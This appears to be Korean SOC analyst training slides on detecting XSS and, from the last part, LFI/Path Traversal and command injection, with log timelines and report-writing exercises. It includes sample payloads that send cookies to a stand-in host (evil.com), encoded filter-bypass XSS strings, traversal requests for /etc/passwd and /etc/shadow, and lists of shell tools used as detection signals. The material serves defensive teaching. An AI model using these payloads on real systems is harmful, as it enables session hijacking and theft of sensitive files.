보강 설명XSS 탐지는 SQLi와 마찬가지로 레이어드 접근이 필요합니다. GET 파라미터에서 바로 보이는 경우와 POST Body에 숨은 경우를 구분하고, Stored XSS는 저장 시점과 조회 시점을 분리해…

XSS 탐지 룰Stored XSS 탐지CSP 위반

실행 조건

입력이 HTML/JS 문맥에 반사·저장되는지가 핵심
onerror/onload/javascript:·document.cookie 조합 주목

추가 확인

댓글/게시물 저장 body, CSP 보고, 외부 도메인 호출 확인
동일 세션이 다른 IP에서 재사용됐는지 확인

실습 예시

search 파라미터와 comment 저장 요청을 분리해 읽기
HTML 인코딩된 정상 예시와 실행형 payload를 비교하기

PART 5 · 오탐 관리

XSS에서 오탐을 줄이는 법

HTML 특수문자와 스크립트 키워드가 있다고 전부 공격은 아니다. 반사 여부와 실행 가능성을 함께 봐야 한다.

✅ 정상으로 봐야 하는 경우

코드 블록/기술 문서
<script> 예제가 정상 콘텐츠로 게시됨 (HTML 인코딩으로 안전 처리)

검색 엔진 파라미터
q=<python script> — "script"가 프로그래밍 언어 검색

HTML 인코딩 처리됨
<script> → 브라우저가 텍스트로 표시, 실행 불가

❌ 위험 판단 기준

응답에 그대로 반사 (Reflected)
요청의 <script>가 응답 HTML에 그대로 나타나면 실행 가능

콘텐츠 저장 엔드포인트
댓글/게시글에 onerror= 삽입 → 조회 시 실행 → Stored XSS

document.cookie 포함
쿠키 접근 코드 존재 → 탈취 의도 가능성 높음

반복 + 변형 시도
다양한 payload 형태로 필터 우회 시도 반복

핵심 판단 질문: "이 입력이 실제로 HTML로 렌더링되는 위치에 삽입되는가? HTML 인코딩 없이 반사/저장되는가?" — 실행 가능성이 위험도의 핵심이다.

보강 설명 HTML 특수문자와 스크립트 키워드가 있다고 전부 공격은 아니다. 반사 여부와 실행 가능성을 함께 봐야 한다. XSS는 서버를 직접 장악하지 않아도 브라우저 신뢰를 악용해 세션 탈취·관리자 악용·피싱으로 이어질 수 있다. 입력 위치와 출력 컨텍스트를 함께 봐야 한다.

브라우저 실행세션 탈취컨텍스트

대표 신호

<script>, onerror=, onload=, svg, javascript: 같은 실행 트리거
검색어·댓글·프로필 등 사용자 입력이 그대로 반사 또는 저장되는 경로
관리자 페이지·백오피스에서 다시 렌더링될 가능성이 있는 경우

추가 확인

응답 본문이나 템플릿에서 실제 반사·저장 여부를 확인
세션 쿠키 보호, HttpOnly, CSP 정책이 있는지 함께 점검
정상 HTML 입력 허용 기능인지 서비스 맥락을 확인해 오탐을 줄이기

미니 실습

같은 payload가 HTML 본문, 속성, JS 문자열에서 어떻게 다르게 동작하는지 정리
Reflected/Stored/DOM-Based를 로그와 영향 관점으로 구분
XSS 탐지 룰에 컨텍스트 키워드를 어떻게 포함할지 써 보기

PART 5 · Case Study

🔬 Case Study | Stored XSS → 세션 쿠키 탈취 시나리오

댓글 하나로 수백 명의 세션 쿠키가 공격자 서버로 전송되는 전형적인 Stored XSS 흐름이다.

📝

① 악성 댓글 저장

POST /comment
onerror=fetch 삽입

→

👀

② 피해자 페이지 조회

GET /article/123
댓글 포함 렌더링

→

🍪

③ 쿠키 전송

fetch('evil.com/'+
document.cookie)

→

🔓

④ 세션 하이재킹

탈취된 쿠키로
관리자 로그인

로그 흔적 타임라인


-- ① 삽입 시점 (access.log에서 잘 안 보임)
10:15:01  POST /article/123/comment  200  "Mozilla/5.0"  ← WAF 로그 필요
-- ② 피해자 조회 (정상처럼 보임)
10:22:14  GET  /article/123  200  1842  "Mozilla/5.0 victim-browser"

-- ③ 쿠키 외부 전송 (다른 로그 소스)
DNS 쿼리: evil.com (Firewall/DNS 로그에서 탐지)
또는: CSP 위반 보고 발생
-- ④ 세션 재사용
10:23:55  GET  /admin  200  "Mozilla/5.0"  ← 다른 IP에서 관리자 접근!

탐지 포인트: ① WAF 로그에서 댓글 저장 시 onerror= 탐지 → ③ DNS/방화벽 로그에서 외부 도메인 쿠키 전송 탐지 → ④ 동일 세션 다른 IP 로그인 탐지. 단일 로그 소스만으로는 전체 체인을 볼 수 없다.

보강 설명실제 XSS 공격의 전형적인 시나리오입니다. 저장 → 조회 → 쿠키 탈취 → 세션 하이재킹의 흐름을 타임라인으로 추적하게 합니다.

Stored XSSdocument.cookie세션 하이재킹

추가 확인

같은 IP의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host 중 비어 있는 소스를 하나 더 가져오기

답안 포인트

사실→패턴→맥락→조치(FPCA) 순서로 기술
상태코드·bytes·반복성·자산 중요도를 근거에 포함

미니 실습

한 줄 로그를 2~3문장 보고서로 바꾸어 보기
정탐/오탐 두 가설을 같이 써 보고 더 확인할 로그 제시

PART 5 · 핵심 정리

PART 5 핵심 정리: XSS는 브라우저를 무기로 만드는 공격이다

서버 침해가 없어도 세션 탈취·관리자 행위 악용·피싱으로 이어지므로, SOC는 XSS를 결코 가볍게 봐서는 안 된다.

핵심 탐지 포인트

1️⃣

유형 구분 — Reflected(즉시), Stored(다수 피해), DOM(서버 로그 미기록)

2️⃣

Payload — <script>, onerror=, onload=, javascript:, document.cookie

3️⃣

Stored XSS 탐지 — 저장 시점(POST) WAF 로그 + CSP 위반 보고 필수

4️⃣

오탐 판단 — HTML 인코딩 처리 여부, 반사/실행 가능성이 핵심

XSS vs SQLi 빠른 비교

구분	SQLi	XSS
타겟	DB 서버	피해자 브라우저
실행 위치	DB 엔진	브라우저 JS 엔진
주요 피해	데이터 탈취/변조	세션 탈취/계정 악용
로그 가시성	GET은 높음	Stored는 낮음
방어 핵심	Prepared Statement	Output Encoding + CSP

다음 파트: LFI/Path Traversal/Command Injection — 파일 시스템과 OS 명령어를 건드리는 더 직접적인 공격

보강 설명 서버 침해가 없어도 세션 탈취·관리자 행위 악용·피싱으로 이어지므로, SOC는 XSS를 결코 가볍게 봐서는 안 된다. 정리는 슬라이드를 다시 읽는 시간이 아니라 판단 기준을 압축하는 시간이다. “무엇을 보면 어떤 결론을 낼지”를 짧은 문장으로 남겨야 실전에서 바로 쓸 수 있다.

핵심 정리치트시트복습

반드시 기억할 것

공격명보다 입력 위치·반복성·상태 변화·후속 행위를 먼저 보기
정상/의심/위험 분류는 항상 자산 중요도와 함께 판단
단일 로그보다 사건 흐름과 추가 확인 소스를 같이 적기

복습 질문

이 유형의 가장 강한 성공 신호는 무엇인가
오탐을 줄이기 위해 꼭 필요한 맥락은 무엇인가
개발/운영팀에 전달할 때 어떤 문장으로 요약할 것인가

실무 적용

치트시트를 룰 튜닝·온보딩·실습 답안에 재사용
반복되는 탐지 포인트는 표준 문장 템플릿으로 정리
한 장 요약을 팀 내 공통 언어로 사용하는 습관 만들기

PART 5 · 우회 기법

인코딩·HTML Entity·분할 문자열로 숨겨진 XSS

공격자는 %3Cscript%3E, <script>, 대소문자 혼합, 이벤트 분할로 단순 문자열 필터를 우회하려 한다.

📦 인코딩 우회 사례

URL Encoding

%3Cscript%3Ealert(1)%3C%2Fscript%3E
→ 디코딩: <script>alert(1)</script>

%22onerror%3Dalert(1)%22
→ 디코딩: "onerror=alert(1)"

<img+src%3Dx+onerror%3Dfetch(...)>

HTML Entity / 분할 우회

&lt;svg/onload=alert(1)&gt;
Scr<script>ipt>alert(1)</scr</script>ipt>
<IMG SRC=x OnErRoR=alert(1)>
<script>/*주석*/alert(1)</script>

🛡 탐지 관점

1단계: 디코딩 먼저

raw_uri와 decoded_uri를 모두 검사
더블 인코딩(%253C = <) 처리 필요
HTML entity normalization도 함께

2단계: 조합 탐지

인코딩 + 이벤트 핸들러 조합 = 강한 신호
대소문자 혼합 + script 키워드 결합
분할 중첩 = 단순 매칭 불가 → 정규식 필요

핵심: 디코딩·entity 처리 없는 WAF/SIEM은 인코딩된 payload에 완전히 눈멀 수 있다

탐지 원칙

문자열이 예쁘지 않아도 XSS일 수 있다 — Raw → URL Decode → HTML Entity → 패턴 매칭 순서로 처리하라

보강 설명공격자는 단순 문자열 필터를 피하기 위해 URL 인코딩, HTML Entity, 대소문자 혼합 등 다양한 우회 기법을 사용합니다. 탐지 시 반드시 디코딩 후 분석해야 합니다.

URL 인코딩HTML Entity대소문자

실행 조건

입력이 HTML/JS 문맥에 반사·저장되는지가 핵심
onerror/onload/javascript:·document.cookie 조합 주목

추가 확인

댓글/게시물 저장 body, CSP 보고, 외부 도메인 호출 확인
동일 세션이 다른 IP에서 재사용됐는지 확인

실습 예시

search 파라미터와 comment 저장 요청을 분리해 읽기
HTML 인코딩된 정상 예시와 실행형 payload를 비교하기

PART 5 · 입력/출력 분석

XSS가 자주 숨어드는 입력 지점과 출력 지점

검색창, 댓글, 피드백, 프로필, 제목, 닉네임처럼 화면에 다시 출력되는 입력을 먼저 의심하라.

🎯 고위험 입력 지점

📝 저장형 (Stored XSS)

/comment, /post, /review POST
/profile/update, /ticket/create
/admin/announcement, /message
⚠ 관리자가 조회하면 높은 권한에서 실행됨

🔄 반사형 (Reflected XSS)

/search?q=, /error?msg=
/redirect?url=, /feedback?note=
URL 파라미터가 에러 페이지, 검색 결과에 출력
⚠ 피싱 링크와 결합 시 즉시 실행 가능

🔁 입력→저장→출력 흐름

① INPUT POST /comment — onerror=fetch('evil.com/'+document.cookie) 삽입

↓ DB에 저장 (즉시 실행 안 됨)

② STORE DB에 악성 콘텐츠 저장 — 아직은 조용함

↓ 관리자/피해자 조회 시 실행

③ EXECUTE GET /admin/comments → 브라우저에서 스크립트 실행 → 쿠키 탈취

Stored XSS는 입력 시점과 실행 시점이 분리됨 — 단일 요청만으로 위험을 과소평가하기 쉽다

보강 설명XSS는 화면에 다시 출력되는 입력 포인트가 표면입니다. 검색창, 댓글, 피드백, 프로필 등 저장/반사 가능한 기능을 중점 모니터링 대상으로 지정해야 합니다.

입력 지점출력 지점Stored XSS

실행 조건

입력이 HTML/JS 문맥에 반사·저장되는지가 핵심
onerror/onload/javascript:·document.cookie 조합 주목

추가 확인

댓글/게시물 저장 body, CSP 보고, 외부 도메인 호출 확인
동일 세션이 다른 IP에서 재사용됐는지 확인

실습 예시

search 파라미터와 comment 저장 요청을 분리해 읽기
HTML 인코딩된 정상 예시와 실행형 payload를 비교하기

PART 5 · 오탐 관리

정상 HTML/마크업과 XSS를 구분하라

블로그 에디터나 관리자 CMS처럼 합법적인 HTML 입력이 있는 서비스에서는 맥락 없는 패턴 매칭이 오탐을 부른다.

✅ 정상 HTML (허용 마크업)

<b>Hello World</b>
<a href="/page">링크</a>
<img src="/image.jpg" alt="사진">
<ul><li>항목</li></ul>
<p class="highlight">내용</p>

→ 이벤트 핸들러 없음, 외부 스크립트 호출 없음

🚨 XSS Payload (실행 가능)

<img src=x onerror=fetch('evil.com/'+document.cookie)>
<svg onload=alert(document.domain)>
<a href="javascript:alert(1)">클릭</a>
<iframe src="data:text/html,<script>...">

→ 이벤트 핸들러, javascript:, data URI = 실행 신호

구분 체크리스트

허용된 기능인가? (에디터 정책 확인)
이벤트 핸들러(on*)가 붙어 있는가?
javascript: 또는 data: URI가 포함되는가?
외부 URL fetch/load가 포함되는가?

탐지 설계 원칙

태그 존재 자체가 아닌 실행 신호 결합을 탐지
허용 리스트 기반 예외 처리 (리치텍스트 기능 제외)
서비스별 sanitize 정책을 파악 후 룰 튜닝

보강 설명리치텍스트 에디터나 CMS에서는 합법적인 HTML 입력이 허용되므로, 단순 태그 감지만으로는 오탐이 많습니다. 이벤트 핸들러와 실행 가능성을 함께 봐야 합니다.

오탐리치텍스트이벤트 핸들러

실행 조건

입력이 HTML/JS 문맥에 반사·저장되는지가 핵심
onerror/onload/javascript:·document.cookie 조합 주목

추가 확인

댓글/게시물 저장 body, CSP 보고, 외부 도메인 호출 확인
동일 세션이 다른 IP에서 재사용됐는지 확인

실습 예시

search 파라미터와 comment 저장 요청을 분리해 읽기
HTML 인코딩된 정상 예시와 실행형 payload를 비교하기

PART 5 · 탐지 설계

XSS 탐지 룰 설계 — 3단 레이어 구조

태그·이벤트·프로토콜 패턴을 잡되, 출력 위치와 서비스 맥락을 함께 고려해야 시끄럽지 않다.

 1차 룰 (패턴)
decoded_uri/body에 다음 포함:
<script, onerror=
onload=, javascript:
svg/onload, document.cookie
※ 넓게 잡되 노이즈 감수


 2차 조건 (문맥)
입력 반영 엔드포인트 여부
반복 시도 패턴 (5분 내 3회+)
인코딩 우회 흔적 포함
비정상 User-Agent 결합
POST → 저장 가능 기능
※ 1차 필터 후 우선순위 상승


 3차 상관 (행동)
입력 후 관리자 페이지 조회 증가
동일 payload 반복 → 스캐닝
CSP 위반 보고 발생
외부 도메인 DNS/HTTP 호출
다른 IP에서 동일 세션 사용
※ 가장 높은 신뢰도

예외 설계 (오탐 제외): 리치텍스트 에디터 허용 기능, 보안 교육 환경, QA 테스트 CIDR, 공식 문서 사이트 — 허용 리스트 기반 제외 필요

설계 원칙: 1차 룰은 넓게(recall 우선), 상관 룰은 좁게(precision 우선). 알람 피로 방지를 위해 반드시 우선순위 스코어링 도입

보강 설명 태그·이벤트·프로토콜 패턴을 잡되, 출력 위치와 서비스 맥락을 함께 고려해야 시끄럽지 않다. XSS는 서버를 직접 장악하지 않아도 브라우저 신뢰를 악용해 세션 탈취·관리자 악용·피싱으로 이어질 수 있다. 입력 위치와 출력 컨텍스트를 함께 봐야 한다.

브라우저 실행세션 탈취컨텍스트

대표 신호

<script>, onerror=, onload=, svg, javascript: 같은 실행 트리거
검색어·댓글·프로필 등 사용자 입력이 그대로 반사 또는 저장되는 경로
관리자 페이지·백오피스에서 다시 렌더링될 가능성이 있는 경우

추가 확인

응답 본문이나 템플릿에서 실제 반사·저장 여부를 확인
세션 쿠키 보호, HttpOnly, CSP 정책이 있는지 함께 점검
정상 HTML 입력 허용 기능인지 서비스 맥락을 확인해 오탐을 줄이기

미니 실습

같은 payload가 HTML 본문, 속성, JS 문자열에서 어떻게 다르게 동작하는지 정리
Reflected/Stored/DOM-Based를 로그와 영향 관점으로 구분
XSS 탐지 룰에 컨텍스트 키워드를 어떻게 포함할지 써 보기

PART 5 · 상태코드 분석

XSS에서 200 / 302 / 4xx가 의미하는 것

대부분의 XSS 요청은 200으로 보일 수 있지만, 인증 흐름이나 관리자 페이지 접근과 결합하면 의미가 달라진다.

상태코드	XSS 문맥 해석	주목 포인트
200	입력 수용 or 출력 페이지 정상 렌더링	응답 크기 변화 확인 (저장 성공 여부)
302	로그인 후 제출 흐름, 관리자 페이지 이동	Location 헤더 → 관리자 화면으로 이동 여부
403	권한 부족 — 관리자 화면 접근 시도 실패	반복 시도 → 권한 우회 탐색 가능성
4xx+200 시퀀스	탐색 후 성공 경로 발견	상태코드 변화 자체가 성공 신호일 수 있음

Stored XSS 탐지 시퀀스 예시

-- 1. 악성 저장 (POST)
POST /comment 200 512 bytes ← 저장 성공

-- 2. 피해자 조회 (정상처럼 보임)
GET /post/123 200 8421 bytes

-- 3. 쿠키 탈취 (다른 소스 필요)
→ DNS 쿼리: evil.com (방화벽/DNS 로그)
→ CSP 위반 보고 (브라우저→서버)
-- 4. 세션 재사용 감지
GET /admin 200 ← 다른 IP, 같은 세션!

핵심: 200이 오히려 더 위험 — Stored XSS 성공 시 200으로만 보이고, 실제 피해는 피해자의 브라우저에서 발생

보강 설명 대부분의 XSS 요청은 200으로 보일 수 있지만, 인증 흐름이나 관리자 페이지 접근과 결합하면 의미가 달라진다. XSS는 서버를 직접 장악하지 않아도 브라우저 신뢰를 악용해 세션 탈취·관리자 악용·피싱으로 이어질 수 있다. 입력 위치와 출력 컨텍스트를 함께 봐야 한다.

브라우저 실행세션 탈취컨텍스트

대표 신호

<script>, onerror=, onload=, svg, javascript: 같은 실행 트리거
검색어·댓글·프로필 등 사용자 입력이 그대로 반사 또는 저장되는 경로
관리자 페이지·백오피스에서 다시 렌더링될 가능성이 있는 경우

추가 확인

응답 본문이나 템플릿에서 실제 반사·저장 여부를 확인
세션 쿠키 보호, HttpOnly, CSP 정책이 있는지 함께 점검
정상 HTML 입력 허용 기능인지 서비스 맥락을 확인해 오탐을 줄이기

미니 실습

같은 payload가 HTML 본문, 속성, JS 문자열에서 어떻게 다르게 동작하는지 정리
Reflected/Stored/DOM-Based를 로그와 영향 관점으로 구분
XSS 탐지 룰에 컨텍스트 키워드를 어떻게 포함할지 써 보기

PART 5 · 영향 분석

XSS 실제 영향: 세션 탈취 · 관리자 악용 · 피싱 · Pivot

alert(1)은 데모일 뿐이고, 실제 목적은 신뢰된 브라우저 컨텍스트를 악용하는 데 있다.

🍪 세션 쿠키 탈취fetch('https://evil.com/?c='
  +document.cookie)HttpOnly 없으면 직접 탈취. 관리자 쿠키 → 즉각 침해
⚡ 관리자 행위 악용fetch('/api/admin/adduser',
  {method:'POST',body:...})관리자 브라우저에서 API 호출 → 계정 생성/권한 변경
🎣 피싱 UI 삽입document.body.innerHTML
  = '<fake-login>...'신뢰된 도메인에서 가짜 로그인 화면 표시
🔄 내부 API Pivotfetch('http://internal-api/
  sensitive-data')동일 도메인 내부 API 접근 → 데이터 외부 전송

SOC 관점의 핵심: XSS는 웹 애플리케이션 문제이면서 동시에 계정·데이터·시스템 보안 문제다. 서버 침해 없이도 관리자 계정이 완전히 탈취될 수 있다.

탐지가 어려운 이유

서버 측 흔적이 거의 없음 (브라우저에서 실행)
정상 요청처럼 보이는 API 호출
쿠키 탈취는 외부 DNS/HTTP 로그에서만 보임
DOM XSS는 access.log에 아예 안 남음

탐지 전략: WAF 로그 + CSP 보고 + 외부 DNS 쿼리 + 비정상 세션 재사용 — 다중 소스 연결 필수

보강 설명 alert(1)은 데모일 뿐이고, 실제 목적은 신뢰된 브라우저 컨텍스트를 악용하는 데 있다. XSS는 서버를 직접 장악하지 않아도 브라우저 신뢰를 악용해 세션 탈취·관리자 악용·피싱으로 이어질 수 있다. 입력 위치와 출력 컨텍스트를 함께 봐야 한다.

브라우저 실행세션 탈취컨텍스트

대표 신호

<script>, onerror=, onload=, svg, javascript: 같은 실행 트리거
검색어·댓글·프로필 등 사용자 입력이 그대로 반사 또는 저장되는 경로
관리자 페이지·백오피스에서 다시 렌더링될 가능성이 있는 경우

추가 확인

응답 본문이나 템플릿에서 실제 반사·저장 여부를 확인
세션 쿠키 보호, HttpOnly, CSP 정책이 있는지 함께 점검
정상 HTML 입력 허용 기능인지 서비스 맥락을 확인해 오탐을 줄이기

미니 실습

같은 payload가 HTML 본문, 속성, JS 문자열에서 어떻게 다르게 동작하는지 정리
Reflected/Stored/DOM-Based를 로그와 영향 관점으로 구분
XSS 탐지 룰에 컨텍스트 키워드를 어떻게 포함할지 써 보기

PART 5 · Case Study

🔬 Case Study | 45.77.22.90 XSS 의심 흐름

script, onerror, svg/onload 패턴이 반복되면 단순 오타나 정상 검색어로 보기 어렵다.

🔍 데이터셋 로그 발췌 (45.77.22.90)

45.77.22.90 - [14/Apr/2024 10:41:05] "GET /search?q=<script>alert(1)</script>"  200  4521  "Mozilla/5.0"
45.77.22.90 - [14/Apr/2024 10:41:07] "GET /search?q=<img+src%3Dx+onerror%3Dalert(1)>"  200  4521  "Mozilla/5.0"
45.77.22.90 - [14/Apr/2024 10:41:09] "POST /comment  body=<svg/onload%3Dfetch('http%3A%2F%2Fevil.com%2F'%2Bdocument.cookie)>"  200  512
45.77.22.90 - [14/Apr/2024 10:41:12] "GET /search?q=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"  200  4521  "Mozilla/5.0"

F

Fact (사실)
출발지 IP 45.77.22.90이 /search 엔드포인트 및 /comment에 XSS 핵심 토큰 반복 전송, 약 2초 간격의 자동화 패턴

P

Pattern (패턴)
<script>, onerror=, svg/onload=, document.cookie 포함. URL 인코딩 우회 시도(%3C, %3D). Reflected + Stored 두 유형 모두 시도

C

Context (맥락)
Stored XSS 시도(/comment)가 포함되어 관리자 화면 탈취 가능성. document.cookie 포함으로 쿠키 탈취 의도 명확. 자동화 스캐닝 가능성

A

Action (조치)
① /comment에 저장된 콘텐츠 즉시 확인·비활성화 ② 관리자 조회 로그 확인 ③ CSP 보고 확인 ④ 외부 DNS 쿼리 확인 ⑤ WAF 룰 적용

보강 설명 script, onerror, svg/onload 패턴이 반복되면 단순 오타나 정상 검색어로 보기 어렵다. 실습의 목적은 맞히는 것보다 근거를 설명하는 것이다. 사실→패턴→맥락→조치 순서로 말할 수 있어야 실무형 분석이 된다.

실습답안 포인트보고 문장

답안 포인트

주어진 사실과 추론을 분리해서 쓰기
상태코드·bytes·반복성·자산 중요도 같은 관찰 근거를 반드시 넣기
즉시 조치와 추가 확인을 구분해 쓰면 전달력이 높아짐

추가 확인

같은 IP/세션의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host/EDR 중 비어 있는 로그를 한 소스 더 확보
정탐과 오탐 두 가설을 같이 적고 더 필요한 로그를 제시

미니 실습

한 줄 로그를 2~3문장 보고서로 바꿔 보기
팀장/개발자/운영자 각각에게 필요한 요약 문장을 따로 써 보기
질문형 보고 대신 결론형 보고 문장으로 고쳐 보기

PART 5 · 분석 보고

XSS 보고 문장 예시와 즉시 조치 포인트

입력 위치, 실행 가능성, 피해 대상, 추가 확인 대상을 함께 적어야 운영 가치가 생긴다.

❌ 미흡한 보고

"45.77.22.90에서 XSS가 탐지되었습니다.
script 태그가 포함되어 있습니다."

→ 실행 가능성 언급 없음, 조치 없음, 우선순위 판단 불가

✅ 좋은 보고 문장

"출발지 IP 45.77.22.90이 2024-04-14 10:41~10:42 사이
/search(GET)와 /comment(POST)에 XSS payload를 반복 전송.
document.cookie를 포함한 Stored XSS 시도(/comment)가 있어
관리자가 해당 댓글을 조회할 경우 세션 탈취 가능성 있음.
즉시 /comment 저장 콘텐츠 확인 및 비활성화 요청."

📋 즉시 조치 체크리스트

☐ /comment에 저장된 최근 콘텐츠 검토 (XSS 토큰 확인)
☐ 관리자 콘솔 최근 접근 로그 확인
☐ 관리자 세션 이상(IP 변경, 비정상 행동) 확인
☐ CSP 정책 위반 보고 여부 확인
☐ 외부 DNS/HTTP 쿼리 (evil.com 등) 확인
☐ WAF에 해당 IP 즉시 차단 적용
☐ 개발팀에 sanitize 정책 점검 요청

다음 파트: LFI/Path Traversal/Command Injection — 파일 시스템과 OS 명령어를 직접 건드리는 더 위험한 공격

보강 설명XSS 보고 문장은 입력 위치, 실행 가능성, 피해 대상을 명시해야 운영팀이 즉각 대응할 수 있습니다. 좋은 문장과 미흡한 문장을 비교해 보여주세요.

보고 문장sanitize관리자 조회

실행 조건

입력이 HTML/JS 문맥에 반사·저장되는지가 핵심
onerror/onload/javascript:·document.cookie 조합 주목

추가 확인

댓글/게시물 저장 body, CSP 보고, 외부 도메인 호출 확인
동일 세션이 다른 IP에서 재사용됐는지 확인

실습 예시

search 파라미터와 comment 저장 요청을 분리해 읽기
HTML 인코딩된 정상 예시와 실행형 payload를 비교하기

06

LFI / Path Traversal / Command Injection

파일 시스템을 읽고, OS 명령을 실행하는 공격 — 서버 직접 침해의 전조

85분 · 슬라이드 71–96

📂 LFI 원리와 탐지

🗂 Path Traversal 패턴

💻 Command Injection

🔗 LFI+CMDi 결합 체인

🎯 케이스 스터디

보강 설명 파일 시스템을 읽고, OS 명령을 실행하는 공격 — 서버 직접 침해의 전조. Command Injection은 입력이 쉘 명령줄에 섞이는 순간 발생한다. 세미콜론, 파이프, 백틱, $() 같은 구분자가 실행 단서가 된다.

쉘 메타문자명령 실행RCE

대표 신호

; | && || ` ` $() 같은 쉘 구분자와 시스템 명령 조합
ping·curl·wget·whoami·cat·nc·bash 등 후속 명령 시도
정상 기능 파라미터와 달리 OS 명령이 반복·연결되는 형태

추가 확인

웹서버 자식 프로세스에서 비정상 쉘/네트워크 프로세스 생성 여부 확인
egress 연결, DNS 조회, 임시 파일 생성 같은 2차 흔적 확인
입력값이 실제 shell=True 경로로 전달되는지 개발 구조 파악

미니 실습

탐지 룰에 메타문자와 명령 키워드를 어떻게 조합할지 설계
LFI와 CMDi가 결합될 때 사건 체인이 어떻게 확장되는지 그려 보기
단순 ping 기능과 CMDi 시도를 구분하는 추가 근거를 써 보기

PART 6 · LFI 개념

LFI / Path Traversal: 허용된 범위를 벗어나는 파일 접근

웹 서버가 사용자 제공 경로로 파일을 포함하거나 읽을 때, 공격자는 ../ 시퀀스로 허용 범위 밖 파일에 접근한다.

LFI란?

웹 앱이 파라미터로 받은 경로를 그대로 사용해 서버 로컬 파일을 포함·실행하는 취약점


// 취약한 PHP 예시
include($_GET['page'] . '.php');

// 공격자 요청
GET /view?page=../../../../etc/passwd%00

Path Traversal이란?

파일 경로 파라미터에 ../ (부모 디렉토리 이동)를 반복해 허용 범위 밖 파일에 직접 접근

🔑 핵심 패턴

대표 공격 요청 형태

GET /download?file=../../../../etc/passwd
GET /page?id=../../../etc/shadow
GET /view?file=....//....//etc/passwd
GET /load?doc=%2e%2e%2f%2e%2e%2fetc%2fpasswd
GET /include?path=..%252F..%252Fetc%252Fpasswd

입력: ?file=

→

../../../

→

/etc/passwd

→

계정 정보 노출

LFI가 성공하면 /etc/passwd, .env, 설정파일, 소스코드 노출로 이어져 2차 공격의 발판이 됨

보강 설명LFI(Local File Inclusion)와 Path Traversal은 웹 애플리케이션이 파일 경로를 사용자 입력으로 받을 때 발생합니다. ../를 이용해 허용된 디렉토리를 벗어나는 것이 핵심입…

LFIPath Traversal../

대표 신호

../·..%2f·php://filter·/etc/passwd·.env 같은 경로
; && | ` $() 와 id/whoami/wget 조합은 강한 CMDi 신호

추가 확인

error.log 예외 문구와 /tmp 최근 파일 생성 여부 확인
웹서버 자식 프로세스와 외부 egress 통신을 함께 확인

실습 예시

Traversal은 경로 정규화 후 판단하는 습관 만들기
CMDi는 access.log만으로 성공 단정하지 않기

PART 6 · Traversal 패턴

../ 패턴과 인코딩 우회 변형 — 전부 알아야 탐지된다

공격자는 ../를 다양하게 변형해 단순 문자열 필터를 우회한다. 정규화 없이는 탐지 불가능하다.

🔄 ../의 다양한 변형

패턴	변형 방식	우회 대상
`../`	기본형	노필터 환경
`..\`	윈도우 경로 구분자	OS 차이 활용
`%2e%2e%2f`	URL 인코딩	단순 문자열 필터
`%252e%252e%252f`	이중 인코딩	한 번만 디코딩하는 필터
`....//`	중첩 치환	../ 제거 후 재조합
`..%00`	널 바이트	확장자 강제 제거 (.php 등)
`..%0a/`	줄바꿈 삽입	일부 파서 우회

🛡 탐지 원칙

1. URL 정규화 먼저

URL 디코딩 (1회/2회 모두)
백슬래시→슬래시 정규화
연속 슬래시 제거 (////→/)
경로 정규화 후 .. 탐지

2. 다중 탐지 규칙

정규식: (\.\./|\.\.\\|%2e%2e)
민감 경로 직접 탐지: /etc/, /proc/, .env
인코딩 변형 전용 룰 추가 설계

실무 팁: WAF가 인코딩 변형을 자동 정규화하는지 정기적으로 검증해야 함. 배포 후 테스트 케이스로 확인

보강 설명../의 다양한 인코딩 변형을 이해해야 탐지 룰을 올바르게 설계할 수 있습니다. URL 디코딩 없이는 %2e%2e%2f 같은 변형은 탐지되지 않습니다.

../%2e%2e이중 인코딩

대표 신호

../·..%2f·php://filter·/etc/passwd·.env 같은 경로
; && | ` $() 와 id/whoami/wget 조합은 강한 CMDi 신호

추가 확인

error.log 예외 문구와 /tmp 최근 파일 생성 여부 확인
웹서버 자식 프로세스와 외부 egress 통신을 함께 확인

실습 예시

Traversal은 경로 정규화 후 판단하는 습관 만들기
CMDi는 access.log만으로 성공 단정하지 않기

PART 6 · 타겟 파일

LFI 대표 타겟 파일 — /etc/passwd · .env · 로그파일

민감 파일 접근은 시스템 정보 노출, 계정 정보 파악, 운영 흔적 탐색으로 이어질 수 있다.

 계정·시스템 정보/etc/passwd — 계정 목록, UID
/etc/shadow — 암호 해시 (root 접근)
/etc/hosts — 내부망 구조 추정
/proc/self/environ — 환경변수
/proc/version — OS/커널 버전
→ 권한 상승, 계정 공격 준비
 설정·비밀값.env — DB 계정, API 키, 비밀값
config.php, web.config
application.properties
/var/www/html/config.*
database.yml, .htpasswd
→ DB 직접 접근, 클라우드 권한 탈취
 로그·소스코드/var/log/apache2/access.log
/var/log/auth.log — 인증 이력
/var/log/nginx/error.log
소스코드 파일 (.php, .py, .js)
백업 파일 (*.bak, *.old)
→ 로그 포이즈닝, 소스 분석 공격 준비

로그 포이즈닝 기법: 공격자가 악성 PHP를 UA에 삽입한 뒤, LFI로 access.log를 포함시켜 실행 — LFI가 RCE(원격 코드 실행)로 발전하는 경로

.env 노출의 심각성: DB_PASSWORD, AWS_SECRET_KEY, JWT_SECRET 등이 평문으로 저장된 경우 즉각적인 전체 시스템 침해 가능

보강 설명 민감 파일 접근은 시스템 정보 노출, 계정 정보 파악, 운영 흔적 탐색으로 이어질 수 있다. LFI와 Path Traversal은 파일 경로 해석을 속여 민감 파일을 읽게 만드는 공격이다. 200만이 아니라 403·404·500까지 포함해 탐색 흐름을 봐야 한다.

Path Traversal민감 파일로그 포이즈닝

대표 신호

../, ..\, %2e%2e, %252e%252e 같은 경로 우회
/etc/passwd, .env, access.log, web.config, php://filter 표적
파일 경로를 바꿔가며 404→200 또는 403→200 전환이 나타남

추가 확인

애플리케이션이 어떤 기준 디렉터리에서 파일을 여는지 파악
로그 파일 포함 뒤 UA/Referer에 삽입된 코드가 있는지 확인
경로 정규화 전후 문자열을 모두 확보해 우회 정도를 판단

미니 실습

같은 의도를 가진 Traversal 문자열을 3가지 이상 찾아 보기
민감 파일 읽기와 정상 파일 다운로드를 어떻게 구분할지 적어 보기
Path Traversal과 LFI를 보고서 문장에서 어떻게 구분할지 써 보기

PART 6 · 로그 읽기

LFI/Traversal access.log 패턴 직접 읽기

로그에서 ../ 시퀀스와 민감 파일명이 보이면 탐색 의도를 의심하고, 반복성과 응답 크기 변화를 함께 확인하라.

🔍 LFI/Traversal 의심 로그 샘플

